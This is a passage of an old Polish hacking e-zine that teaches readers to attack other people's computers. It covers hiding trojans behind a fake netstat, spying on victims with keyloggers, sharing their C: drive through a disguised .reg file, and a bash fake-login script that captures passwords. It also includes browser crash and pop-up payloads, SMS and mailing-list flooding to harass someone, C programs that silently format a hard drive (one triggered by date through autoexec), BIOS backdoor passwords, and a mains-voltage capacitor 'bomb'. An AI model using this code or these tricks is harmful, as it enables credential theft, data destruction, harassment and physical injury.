Writeln ('  UDP       lamer:nbname            *:*');
Writeln ('  UDP       lamer:nbdatagram        *:*');
end.
-\cut here\-

(l4vim: mozna poprostu wywalic netstat.. nawet po kompilacji powyzszego programu
do .exe bedzie mozna go podejzec i pewne fragmenty (te pomiedzy znakami ' )
beda widoczne w postaci zwyklego tekstu..)

nastepnie napisany programik kompilujemy, zamieniamy go (za pomoca trojana) z
programem netstat, ktory znajduje sie w katalogu windows i wszystko gra.
Pamietac jednak nalezy, ze w miejsce lamer nalezy podac nazwe kompa w sieci
lamy (natomiast nie jestem pewien jak to jest w inecie, raczej tez trzeba
wpisac nazwe, ktora uzywa w sieci... nie praktykowalem wiec nie wiem), dodam
jeszcze, ze odstepy miedzy poszczegolnymi wyrazami i wierszami sa prawidlowe
(plus-minus jedna kratka). Program da sie uruchomic z parametrem -a tak wiec
easy user powinien sie nie skumac, ze netstat zostal podmieniony. Problem jest
kiedy klient uruchomi program z innym parametrem (e,n,p,r,s,h) wtedy pokarze mu
sie to samo... ;)  ale jak juz wspomnialem malo kto wie, ze cos takiego
istnieje, malo kto uzywa to z inna komenda niz -a.

Warto takze zmieniac standardowe ustawienia (o ile to mozliwe) trojanow, kazdy
wie, ze pod portem 44444 chowa sie prosiak, pod 12345 netbus, itd. tak wiec
warto i nalezy zmieniac te porty na jak najnizej z mozliwych, jak wiadomo im
wyzszy port tym bardziej podejrzane. Zmieniac nalezy takze nazwy trojanow i o
ile to mozliwe pliki, ktore zainstalowal trojan. No i zmieniaj haslo.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  9.5    Uzywanie trojanow

Aby utrzymac trojana jak najdluzej, nie mozna zbyt natarczywie atakowac lamy
mozliwosciami trojana predzej czy pozniej polapie sie, ze okienka z glupimi
txtami sa dzielem innego usera. Gostek, ktory sie zorientuje jest w stanie
nawet formatowac twardego zeby tylko sie go pozbyc. Trojana powinienes
wykorzystywac w sposob madry i przemyslany, nie atakuj go, np.inwazja mrowek
(gadget z prosiaka) za kazdym razem kiedy wlaczy komp, szybko sie wkurwi i albo
sformatuje twardego, przeinstaluje system albo odlaczy sie od sieci... Takie
toysy powinienes zostawic na czarna godzine, kiedy cie wkurzy lub cos w tym
rodzaju. Najczesciej powinienes uzywac zrzutu ekranu, edytora skryptow, monitora
klawiatury, i explorera dysku (wszystko w prosiaku of corz), dzieki temu
wyciagniesz od niego ciekawe hasla, znajdziesz ukryte obrazki, a moze nawet
trojany ;). I ostatnie co powinienes robic to nie rozpowiadac nikomu, ze taki i
taki typ ma trojana, szybko sie to rozejdzie i predzej czy pozniej typ zostanie
zmuszony do instalacji systemu na nowo, juz bez twojego trojana. Warto sie
rownierz zabezpieczyc wymienionymi powyzej w punktach metodami, aby typ, ktory
usunol trojana szybko go sobie instalnol.

Przedewszystkim musimy miec swiadomosc, iz proba posluzenia sie trojanem moze
zostac wykryta. Nalezy uzywac ich z rozwaga i powstrzymywac sie (albo w ogole
sobie darowac) od dzialan destruktywnych, lub innych mogacych zwrocic uwage na
nasza obecnosc. Najlepiej dzialac po cichu.. Oto jakie czynnosci powinnismy
wykonac i w jakiej kolejnosci:

1. Sprawdzic liste aktualnie dzialajacych programow (chocby po to by upewnic
   sie, ze nic nie moze nam zaszkodzic)
2. Wlaczyc "podsluch" (keylog), by zorientowac sie czym aktualnie zajmuje sie
   ofiara
3. Mozna tez zerknac na screen (screen dump)
4. Poznac strukture dysku (ilosc i wielkosci partycji)
5. Przejzec " z grubsza" strukture katalogow
6. O ile trojan ma taka opcje - wywolac info na temat comp'a
7. Jezeli chcemy jeszcze w przyszlosci wrocic do tego systemu powinnismy
   poszukac jakiegos kontaktu (e-mail, nick, UIN etc.)
8. Sprawdzic ilosc uzytkownikow kozystajacych z tego comp'a i ich pulpity
9. ..dalej to juz zalezy tylko od Was (ja proponuje jeszcze zerknac w rejestr
   w poszukiwaniu hasel i do .txt na pulpicie)

Zastosowanie sie do powyzszych rad spowoduje, ze trojanem bedziemy mogli
cieszyc sie o wiele, wiele dluzej..

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  9.6    Wykrywanie proby wlamu

Kazda proba polaczenia z Serverem moze zostac wykryta. Pakiety wysylane przez
Klienta zawieraja adres nadawcy. Programy takie jak NOBO, czy Netbuster potrafia
wykryc probe wlamu, jak i podac adres IP z ktorego byla przeprowadzana proba.
Mozna je skonfigurowac na rozny sposob - wlaczyc logowanie zdazen, ustawic
komunikat zwracany do Klienta, uaktywnic opcje udawania trojana (tak by robil w
jajo wszystkich probujacych swych sil za pomoca trojana) itp.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  9.7    Trojan by gates

Zdalny administrator to ciekawe wyposarzenie windows'a :), dzieki niemu mozna
przegladac nie udostepnione zasoby w sieci na kompie ofiary. Aby uaktywnic
zdalnego admina wystarczy podrzucic typowi plik rejestru, ktory wprowadza
odpowiednie zmiany w rejestrze, lub uaktywnic ta opcje w panelu
sterowania/hasla.

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan
\GETMEOUT]
"Flags"=dword:00000192
"Type"=dword:00000000
"Path"="C:\\"
"Parm2enc"=hex:
"Parm1enc"=hex:
"Remark"="full acces"

Zapisz to w pliku z rozszerzeniem .reg i odpal u ofiary
"regedit.exe /s nazwapliku.reg" lub "regedit.exe /i nazwapliku.reg".
Po restarcie systemu ofiara bedzie miala udostepniony dysk C: pod nazwa
GETMEOUT. Najlepiej jesli upakujesz to do .bat'a lub napiszesz jakis prog,
ktory zrobi cala rzecz za Ciebie.
Problem jest w tym, ze aby typ odpalil taki plik
musi byc skonczonym luserem lub lamerem, ale userowi bardziej doswiadczonemu
mozna w piekny sposob to wepchac, np.
- podeslac mu to z gierka , jako plik rejestru do gry :)
- podesalc mu to jako patch na windoze przed nowym virem
jednak w tych przypadkach w kazdej chwili taki user moze sobie wyedytowac taki
plik rejestru i o ile jest w miare kumaty i doswiadczony bedzie wiedzial w czym
rzecz. Jednak kiedy zrobimy sobie prog, ktory w tle wprowadzi nam taka zmiane
typ sie nie skapnie, ze wlasnie sobie wlaczyl zdalngo admina, napisanie takie
progu jest prostsze niz sie zdaje wystarczy znac minimalnie Turbo Pascala'a oraz
komendy dosowskie, wtedy wystarczy zrobic prowizorke np. kalkulatora ;), ktory
bedzie normalnie dzialal ale po kazdym odpaleniu, wprowadzi zmiane do rejestru
(oczywiscie w tle tak ze nikt sie nie skuma). Taki prog wystarczy wsadzic do
swojego udostepnionego katalogu i spokojnie czekac (oczywiscie jezeli mamy siec
lokalna). W koncu ktos sie nawinie i napewno zobaczy sobie kalkulatorek ;),
kiedys na inecie znalazlem taki prog, ktory udawal arj, czekalem pare tygodni w
koncu koles z sieci spytal czy mam arj :), bez zadnej natarczywosci
odpowedzialem mu zeby se sprawdzil w moich udostepnionych zasobach, i koniec na
ten temat, nie upominalem sie o niego... Po nastepnym restarcie kompa kumpla
bylem happy :) Kiedy masz juz dostep do wprowadzania zmian i przegladania
wszystkich dyskow na innym kompie (dzieki zdalnemu adminowi), mozesz zrobic
kolejny krok...

Powinienes szybko instalnac mu trojana z prawdziwego zdarzenia (zdalny admin to
trojan billa gatesa ;), a wiec o ile masz zdalnego admina zalozenie trojana jest
tak proste, ze az plakac sie chce huh. Ale zanim powiem jak to zrobic napisze
jednego plusa za, ktorym warto jak najpredzej przestac korzystac z zdalnego
admina, otoz kiedy luser wlaczy sobie monitora sieci bedzie mial czarno na
bialym, ze cos jest nie tak... obok twojej xywy bedzie mial wypisane admin$...
nie trafilem jeszcze na takiego lamera, ktory by to zignorowal, ale tacy sie
zdarzaja, czasami wystarczy wcisnac typowi kit, ze cos mu sie z sieci jeblo w
winie bo ty go nie widzisz or somthing ;), i zeby zrestartowal kompa to napewno
bedzie wszystko juz w porzadku huhu (czasami w monitorze sieci widac osobe ,
ktora juz 10min temu przestala przegladac twoje zasoby). A wiec kiedy masz
admina zrob cos takiego:
 - wsadz trojana w autostart (jako plik ukryty)
 - mozesz wyedytowac jeden z plikow startowych i podac sciezke do trojana
(pamietaj aby zrzucic go predzej na dysk lusera)

Jest to najprostsze i bardziej sie trudzic nad tym nie trzeba, kiedy typ
zrestartuje kompa usun trojana z pliku, or katalogu gdzie go wlozyles i jestes
czysty :), warto rownierz usunac wpis w rejestrze do zdalnego admina.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  9.8    UNIX(Linux) trojan

Skrypcik, ktory napisalem nie da sie podpisac slowem "trojan" w obecnym jego
zrozumieniu - mozna by nazwac trojanem w starym dobrym stylu poniewaz
jego zadaniem jest udawanie innego programu..
Jest to nic innego jak fake login. Mozna to gdzies zostawic tak,
by necilo uruchomieniem albo postawic na porcie 23 :] Oczywiscie wypadaloby
zmienic 3 i 4 linijke.. Mozna tez zmienic wedle wlasnych upodoban 3 linie od
konca.

#!/bin/bash
clear
echo "Red Hat Linux realase 6.0 (Hedwig)"
echo "Kernel 2.2.5-15 on an i586"
echo -n "login: "
read l
echo -n "Password: "
stty -echo
read p
stty echo
echo $USER $UID $HOME $l $p >> /tmp/.rtfm
echo
sleep 1

PS. Wie ktos dla czego nie dzialalo dopisane na koncu:

echo "Login incorrect"
logout

???

  -----------------------------------BUGs-------------------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  10    Internet Explorer bugs

Czy korzystajac z Internet Explorera nawet w trybie OFF LINE (czyli przegladajac
strony nie majac dostepu do internetu) nie czujesz sie calkiem bezpiecznie i
swobodnie? Z pewnoscia nie wiedzia?es jakie zagrozenia czyhaly na ciebie.
(Oczywiscie wspomne tylko, ze wiekszosc bledow wykrytych w Internet Explorerze
dotyczyla rowniez Netscape Navigatora).

Bledy pozwalaly w najprostszym przypadku spowolnic komputer lub zaklucic jego
prace. Teraz to nie wszystko okazuje sie ze dalo rade bez czyjejs wiedzy szperac
po jego dysku !, mozna bylo zawiesic peceta na amen dajac procesorowi 101%

Moze aby lepiej zilustrowac zagrozenia tego programu podamy praktyczne przyklady
wad tego programu (ktore nie musza u ciebie dzialac jezeli masz najnowsza
poprawiona jego wersje).

Bledy sprawdzisz Sam !!! (odpowiedzialnosc za ich testowanie przerzucamy na
ciebie ;)

Wiec zaczynamy zabawe!

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  10.1a    BUG 1

Kliknij Start, a nastepnie uruchom i wpisz w okienko: notepad.exe bug1.htm
I gdy program zapyta czy utworzy nowy plik odpowiedz tak.


Teraz przepisz nastepujacy tekst:

This bug was discoverd by: PPN
Member of -=Path Finders=-
<meta http-equiv="Refresh" content="0; URL=file:NIEMOJEWSKI">
<meta http-equiv="Refresh" content="0; URL=file:PETER">

teraz zamknij notatnik. Jesli wszystko poszlo dobrze to na pulpicie Windows
pojawi sie ikona Bug1, teraz zamknij wszystkie niepotrzebne programy i . . .
kliknij na ta ikone. Jesli twoj windows nie jest zabezpieczony przed tym bledem
to powinien pojawic sie komunikat w stylu: Program spowodowa? . . . . i po tym
windows stanie sie bardzo niestabilny (znikna ikony PL lub zegara w rogu) i
trzeba uruchomic komputer od nowa ;)

W sumie powyzszy blad jest "najswiezszy" wiec powinien dzialac u kazdego ;)
BTW  cudze chwalicie swego nie znacie ;)   [Wiekszosc bledow odkrywanych jest
za granica i bardzo glosno sie o nich mowi]

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  10.1b    BUG 2

Postepuj podobnie jak z BUG 1:

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
<meta http-equiv="refresh" content="0; URL=bug4.htm">
<title>NC 4.04 & IE 4.0 BUG</title>

</head>

<frameset rows="*,*" border="1">
    <frame src="bug4.htm">
    <frame src="bug4.htm">
</frameset>
<body>
test
</body>
</html>

Wiec tyle na temat twojego super systemu ;)
Jak widac dziur w zabezpieczeniach jest sporo i co gorsza po dzis dzien
pojawiaja sie nowsze ;)

Pamietaj, ze kodeks scisle okresla celowe uszkodzenie pracy systemu jako
wykroczenie ! wec mozesz uzyc te metody co najwyzej w domciu ;)

I jeszcze jedno jak trafisz na taka strone to jak sam widzisz sajonara !

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  10.1c    BUG 3

  index.html:

 <html>
  <head>
   <title>.G.i.M.</title>
  </head>
  <body>
   <script="JavaScript">
    nn (document.layers)? 1:0
    ie (document.all)? 1:0
    if(nn)
      {location.href="ok_next.html"}
    else if(ie)
      {location.href="xploshit.html"}
    else
      {location.href="ok_next.html"}
   </script>
   <noscript>
     Yer browser doesn't support Java ?<br />
     <a href="ok_next.html"> Click here </a>
   </noscript>
  </body>
 </html>

i prawdziwy index wrzucamy jako ok_next.html a do xploshit.html jakies
wielkie *-jstwo..
np. takie:

 <html>
  <head>
   <title>Somethings wrong</title>
  </head>
  <body onLoad="fuckX()">
   <script language="JavaScript">
    function fuckX(){
     var kaboom=1;

     for (i=0;i<kaboom;i++) {
      xplo=window.open("",i,"width=90000,height=12");
      xplo.document.write("<HTML><HEAD><TITLE>Fuck you</TITLE></HEAD>");
      xplo.document.write("<BODY><B><BIG><H1>Hey shit</H1><H6>");
      xplo.document.write("Hey motherf@#&er</H6></B></BIG></BODY></HTML>");
      // to na wszelki wypadek...
      window.focus();
      // a to by okienko "zniknelo"...
      xplo.moveTo(screen.availwidth+100,screen.availheight+100);
     }
    }
   </script>
   <h2 align="center">Cos poszlo nie tak Wiecej szczegolow<BR>
   <a name="kotwica" href="#kotwica"
    onmouseover="window.status='http://domena.com.pl/~Site'"
    onmouseout="window.status=''"
    onclick="fuckX();">TUTAJ</A>
  </body>
 </html>

zmiena kaboom definiuje ilosc okienek do otwarcia... ;->
a przez przypadek ostatnio wyprodukowalem cosik takiego:

 <html>
  <head>
   <title>Somethings wrong</title>
  </head>
  <body onLoad="while(1) { document.write(''); }">
  </body>
 </html>

oczywiscie zmusza do ubicia IE, a to ubija Explorera,
czytaj zamyka wszystkie otwarte okienka eksplorera i MSIE
a w zasadzie mozna to ograniczyc do jednej linijki:
<body onLoad="while(1) document.write('');">

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  10.2    Flash

We flashu mozna stworzyc obiekt otwierajacy gniazdko. Problem dotyczy
polaczenia z tzw. dorze znanym portem. Jednak mozna posluzyc sie jednak
pewna sztuczka. Jesli np. chcemy nawiazac polaczenie z portem 25 nalezy
wykonac polaczenie z portem 65561 (65536+25).

Glowny kod wysylajacy wyglada tak:

        sock = new XMLSocket();
        sock.connect( 'smtp.poczta.onet.pl', 65536+25 );
        sock.send('\nHELO strona\n');
        sock.send('\nMAIL FROM: <user@inter.net>\n');
        sock.send('\nRCPT TO: <user2@inter.net>\n');
        sock.send('\nDATA\n');
        sock.send('\nWiadomosc przeslana z flasha\n');
        sock.send('\n.\n');
        sock.send('\nQUIT\n');
//      sock.close()

przyklad jest bardzo prosty, tylko wysyla dane, nie czeka na odpowiedz serwera
ale z doswiadczen wynika ze to wystarcza.


  ------------------------------DESTRUKCJA------------------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  11.1    Kill usenet e-mail'owy

Pomysl mialo juz wiele ludzi, ale zrealizowalo go niewielu :)

Zasada jest taka:

jest lista np. klub.ciolkow@coollist.com

aby sie zapisac trzeba wyslac e-mail o tresci
np. subscribe-klub.ciolkow@coollist.com a po wyslaniu otrzymuje sie list z
pytaniem

Do You want to subscribe ?

Wiec zalozmy, ze lista jest do dupy i pisza bzdety na twoj temat. Wiec pierw
uprzedzasz jak nie przestana to im zjebiesz liste. Jesli to nie pomoze to:

1) wypisujesz sie z listy.
2) robisz nowa liste na tym samym serwerze w stylu zjebie.was@coollist.com
3) wysylasz fake maila: subscribe-klub.ciolkow@coollist.com
   a jako adres reply: podajesz zjebie.was@coollist.com
   potem wysylasz confirmation (musisz miec taki list kiedy sam sie zapisywales)
   i tez jako reply walisz zjebie.was@coollist.com.
   Od teraz wszystkie wiadomosci z listy klub.ciolkow@coollist.com beda
   przychodzic na twoja liste zjebie.was@coollist.com.
4) teraz wysylasz fake maila: subscribe-zjebie.was@coollist.com.
   a jako adres reply: podajesz klub.ciolkow@coollist.com
   potem wysylasz confirmation (musisz miec taki list kiedy sam sie zapisywales)
   i tez jako reply walisz klub.ciolkow@coollist.com.
   Od teraz wszystkie wiadomosci z listy klub.ciolkow@coollist.com beda
   przychodzic na twoja liste zjebie.was@coollist.com a nastepnie na liste
   klub.ciolkow@coollist.com tylko ze nie beda tak krazyc w kolko, a beda sie
   zwielokratniac .  .  . az lista padnie :)
5) wnioski koncowe: sa inne sposoby zrobienia tego triku, ale pamietaj, ze
   nie powinno sie go robic dla zartu, bo w sumie jest to nieuczciwa
   i jednostronna walka, (liste killnac latwo ale postawic na nogi
   znowu juz nie :)

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  11.2    GSM KILLER

Zalozmy znasz goscia co szpanuje komorka Plus GSM i cie na dodatek obraza tym
mowiac, tego goscia nie stac nawet na telefon... Wtedy ciebie zalewa krew i
... MASZ SZANSE ZEMSTY

NP. Gosciu ma numer telefonu 0601 345 678
(numer z gsm killerem dziala na razie na 0601 XXX XXX i 0603 XXX XXX

Wszyscy co maja komorke oddziedziczyli najlepsze cechy sieci komorkowej . . . :)

CZYLI WIADOMOSCI TEKSTOWE SMS

Wystarczy wyslac e-mail na adres:

+48601345678@text.plusgsm.pl

I gosciu dostanie wiadomosc . . .

A gdyby tak zapisac go na jakas liste dyskusyjna :) np. o Dupie Maryni :)

wysylasz fake maila np: subscribe-dupa.maryni@coollist.com a jako adres reply:
podajesz +48601345678@text.plusgsm.pl potem wysylasz confirmation (musisz miec
taki list kiedy sam sie zapisywales) i tez jako reply walisz
+48601345678@text.plusgsm.pl

I od teraz gosciu malo sie nie zesra jak codziennie PRZEZ kilka LAT moze
dostawac codziennie 10 sms'ow :)))))) o Dupie Maryni

Lapiesz klimat :)

Tylko nie rob tego numeru znajomym :) bo w 98 % telefonow, ani w sieci Plus GSM
nie da sie wylaczyc odbierania SMS'ow mozna co najwyzej wylaczyc sygnal
telefonu w czasie odbierania wiadomosci.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  11.2a    Ulatwienie

W powyzszym sposobie trzeba meczyc sie z listem potwierdzajacym subskrybcje na
grupe (tkz. confirmation mail) do ominiecia tego problemu mozna wykozystac tkz.
remailery. tj. servery, ktore przekazuja listy wyslane na ich konto w inne
miejsce.

1) Zakladasz sobie konto nazwa@mail-server (na jakims free serverku) i wpisujesz
lewe dane osobowe (albo dane ofiary :o)

2) Pozniej zakladasz sobie konto na jakims remailerze nazwa@remailer tak, ze
jezeli ktos wysle posta na nazwa@remailer to zostanie on przeslany na
nazwa@mail-server

3) Robisz wszystko jak wyzej, tylko zapisujesz na liste nie goscia +4860134567..
a nazwa@remailer

4) Odpowiadasz na list potwierdzajac subskrybcje na grupe.

5) Jak juz wszystko gra (tj. adres nazwa@mail-server zawalany jest smieciami)
zmieniasz konfiguracje konta na remailerze tak, zeby przekazywalo maile na
+48601345678@text.plusgsm.pl

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  11.3a   Format

Wielu z nas nie umie programowac!!! Ale chyba kazdemu przeszla mysl zeby
kumplowi sformatowac twardzela i nie byc o to posondzonym. :)

Zaczynamy:
Potrzebny nam bedze:
- Kompilator C++
- Wyobraznia
- I troche checi :)

Nasz pierwszy program:

#include<iostream.h>          //  biblioteki ktore sa nam
#include<stdlib.h>            //  potrzebne
main()                        // funkcja (musi byc w kazdym programie)
{
system ("format c:") ;        // w miejscu "  " wpisujemy polecenie dosowe,
}                             // u nas jest to format c:

Co dany program robi ??? Bedzie chcial formatowac twardy dysk !!! :) Jest tylko
jedno ale !!! Trzeba dana operacje potwierdzic !!! Ale i na to jest sposob.
Mianowicie:
zamiast ("format c:") nalezy wpisac ("echo y | format c:")
dla angielskiej wersji dosu (yes) lub ("echo t | format c:") dla polskiej (tak)
Jak to dziala ??? polecenie "echo" wpisuje znak, a pionowa kreska odgradza go
od wlasciwego polecenia. Jednak najlepiej napisac tak
("echo t | format c:/q >nul")
Znak "q" przyspieszy formatowanie a komenda ">nul" spowoduje ze nie bedzie
widac jak dysk sie formatuje Brutalne co nie !!! Ale czego sie nie robi kumplom.

program 2:

#include<iostream.h>
#include<stdlib.h>
main()
{
asm                                       / wstawka asemblera :
    {                                     /
       mov     ah,2Ah                     / sprawdza date
        int           21h                 / wlacza dosa
       cmp      dh,02                     / jesli data sie zgadza wykonaj
        jne       zzz                     / jesli nie przejdz do "zzz"
     }
system ("echo y | format c: >nul") ;
asm zzz:ret                               / wstawka asemblera :
                                          / obiekt "zzz" i wyjscie z programu
                                            (instrukcja "ret")
}

Co program robi???
Formatuje twardy dysk kiedy program zostanie wlaczony w miesiacu lutym, w innych
miesiacach nic sie nie dzieje po : "cmp" zamiast "dh" - co oznacza miesiac
mozemy napisac:
"cx" - rok  , "dl" - dzien , "al" - dzien tygodnia
"02" jak sie pewnie domysliles jest to luty, podobnie wpisujesz dzien i rok, w
dniu tygodnia (0=niedz,1=pon itd.)
Co z tym programen nalezy zrobic ???
A np.Dany program nazwac abc.exe zaniesc do kompla, dopisac mu do autoexeca:
abc .Kiedy wybije data a on wloczy komputer to Boom !!! Zamiast grzebac kumplowi
w autoexecu wlacz ponizszy program w jego glownym katalogu

progam 3:

#include <iostream.h>
#include <fstream.h>

main()
{
 ofstream plik ;                            /instrukcja zapis do pliku
 plik.open ("autoexec.bat", ios::app ) ;    /szuka pliku , ios::app mowi, aby
 plik << "\n abc" ;                         /dopisal na koncu pliku
 plik.close();                              /zamyka plik
 }

To by bylo na tyle. Powodzenia i milej destrukcji kompow :)

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  11.3b    Format 2


dopisujac komus np do autoexec.bat:

@ECHO*[13;"echo y | format c:";13p]
sprawisz, ze jezeli gosc np przez przypadek nacisnie enter nie
wpisujac nic w linii polecen, sforamatuje sobie twardziela...
! w miejsce gwiazdki nalezy wstawic znak o kodzie 27 [Esc] !

mozliwe, ze z malpa na poczatku moze nie zadzialac...

oczywiscie nie musze tlumaczyc, ze zaleznie od wersji jezykowej
nalezy uzyc: echo y lub echo t....

  --------------------------------INNE----------------------------------------

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  99.1    Haslo BIOSu

Krotko i zwiezle bo temat jest wmiare znany :
Wszystkie biosy bez wyjatku maja "tulnie furtki" wbudowane przez producenta z
powodu jak to nazywaja: "wzgledow bezpieczenstwa".Lecz najwiecej backdoor'ow
maja biosy firmy Award i dlatego bede je opisywal lecz czesc z tych hasel i
spospby dzialja na inne biosy. Wszystkie biosy informacje maja podane w CMOS
oczywisce mozna te informacje usunac przestawijac zworki ale to raczej na snie
iteresuje bo terzeb sie duzo bawic, lecz kazdy COSM ma 12 bajtow NIE
WYKOZRZYSTWANYCH przez setup. Tu zaleznie od wersji te ostanie sa lub nie
kodowanie , a wlasnie w nich jest nasze haselko. Zawartos COSM moza latwo
wyswietlic przy pomocy powszechnie sotsowanego programu uwazanego za bezpieczny
i pozyteczny Norton Utilities teraz trzeba tylko skorzystac z dyskietek
(czasm tez na hdd) zapsowych plikow. Nas interesuje CMOS ktory jaczesciej jest
zapisywany jako CMOSINFO.DAT a ostanie 20 bajtow to informacje dla nas b.wazne!
Sa jeszcze wyzaj wspomniane hasla, ale nie zawsze dzlaja zalezy od versji ale
nie zawsze

AWARD: award_sw ,  >award<  , Zbgn,  zbg , condo, lkwpeter, to ostnie dzila na
90% biosow
       AMI, AWARD, NOPASS, 589589, (1)_ccecb, itp.
Ami :  ami

Zawsze haslo BIOSU mialo w sobie cos magicznego :)
Pewna pokuse zlamania . . . :)
Ale po 3 nieudanych probach konczy?o sie na niczym . . .

A czy wiesz ze sa programy umozliwiajace obejrzenie hasla w czasie gdy masz
uruchomiony system? Tak filozofia polega na tym ze skoro BIOS o haslo pyta to
i on gdzies je przechowuje.

Programy takie czytaja pamiec BIOS i wyciagaja z niej HASLO !!!!!

Szczerze mowiac ja mam te hasla gdzies. Powiem w tajemnicy !
Jest prosta metoda skasowania hasla: Otworzyc obudowe PC, znalezc baterie CMOS
 (ewentualnie AKUMULATOREK) i wyjac ja na minute.
/istnieje ryzyko ze skasuja sie ustawienia biosu wiec trzeba je przedtem spisac
na kartke/ ja podam nastepny hackerski trik, klawisz PRNSC dzia?a mimo ze nie
odpalono zadnego programu :) a drukuje pieknie zawartosc ekranu dla AWARDA
(BIOSU tej firmy). Wiecej nie chce mowic powiem tyle z BIOSEM nie ma zartow jak
ktos cos zepsuje to na swoja odpowiedzialnosc ! Jak sie nie znasz to sie nie
dotykaj i tyle :)

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  99.2    Internet Worm '88

  2 listopada 1988 roku jest najmniej szcesliwa data w historii Internetu.
  O godz 6 po poludniu student Cornell University uruchomil sieciowy program
  typu Worm - pierwszy wirus, ktory w znacznym stopniu wplyna na prace
  Internetu. Prawie natychmiast program ten zaatakowal komputery w calym
  kraju miedzy innymi National Supercomputer Center. W ciagu godziny
  sparalizowal prace wielu krajowych i miedzynarodowych osrodkow badawczych.
  Natychmiast wszczeto dzialania. Powstala grupa VirusNet ktora caly czas
  pracowala nad sposobem powstzymania wirusa. Wykryto w wirusie blad, oraz
  odkryto ze program ten wdziaral sie do sustemow UNIX wykozystujac jeden z
  bitow jego kodu.
  Robak byl wykonany tak, ze wysylal kopie samego siebie przez wolne polaczenie
  do innego komputera, przez co mnozyl sie, twozac kolejny proces.
  Inaczej mowiac, powielal sie on w pamieci kompa, do tego stopnia ze system
  obslgiwal tyle wormow jednoczesnie, ze nie mogl robic nic innego.
  Konsekwencje za to wszystko poniusl tworca robaka T. Morris, Jr. Zostal on
  skazany na trzy lata w zawieszeniu, 400 godzin prac spolecznych i grzywne
  o wysokosci 10.000$
  Internet Worm w prawdzie nie spowodowal totalnej zaglady Internetu, ale za to
  pokazal ze istnieje niebezpieczenstwo w sieci ze strony Hackerow, i udowodnil
  ze wiekrzosc systemow ma bardzo istotne dziury.

  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
  99.3    Atomic bomb

Potrzebny stuff:

Przewod 2m. kondensatory 10 - 100 uF na 6 V
BONUS: zamiast kondensatora mozna podlaczyc bateryje od zegarka (pastylkowa),
albo paluszek, ale wtedy to ja juz wole nie myslec o skutkach :)
Autotransformator 220 / 24 V
Lutownica

Schemat polaczenia:

          |          |-----------|
         -|----------|           |----------------------------------|-|
220 ~ V  -|----------|           |----------------------------------|-|
          |          |-----------|  24 ~ V                           6V


Wtyczka           TRANSFORMATOR 220 / 24    2m przewodu      kondensator

Co prawda nie zawsze udaje sie uzyskac porzadany efekt ale moj kumpel jak juz to
zrobil na dodatek na lekcji to bylo ZAJEBISCIE (wygladalo to tak:

Weszlismy do klasy, usiedlismy , siedzimy i nudzimy sie :)\
Ja mowie do kumpla wezmy jakis stuff z pracowni. Wzielismy po pozwoleniu
nauczyciela lutownice na 24 V (zekomo bezpieczne ;) A ja wzialem kondensator i
transformator od lutownicy. Mowie do kumpla:

Jak bys podlaczyl kondensator do wyjscia to moglo by kondensator wywalic
(zartowalem). Ale powiedzialem zeby nie probowal bo kto wie co sie stanie.
Poszedlem po kolejna lutownice i wracam i co widze ?

BUM, PIERDUUUUUT, BRZDEK.  Wygladalo to tak jak miniaturowa beczka z BENZYNA
ZOSTALA BY ZAPALONA wiecie jak na filmie. Kondensator wielkosci 1 cm i fi 0,7 cm
wylecial w powietrze na 2 metry ! A jaki byl smrud ... bleh.
Gosciu o malo co nie kipnal na serce a reszta o malo nie walnela ze smiechu.
Ale gdybys chial to robic w domu, to uprzedzam: MIMO ze elementy jako same sa
BEZPIECZNE to w tych okolicznosciach i w tym ukladzie zachowuja sie NAJMNJIEJ
prawdopodobnie. Moze sie skonczyc np. EKSPLOZJA, ZAPALENIEM, ZWARCIEM, lub
NICZYM :) Wiec uwazaj (robisz na wlasna odpowiedzialnosc).

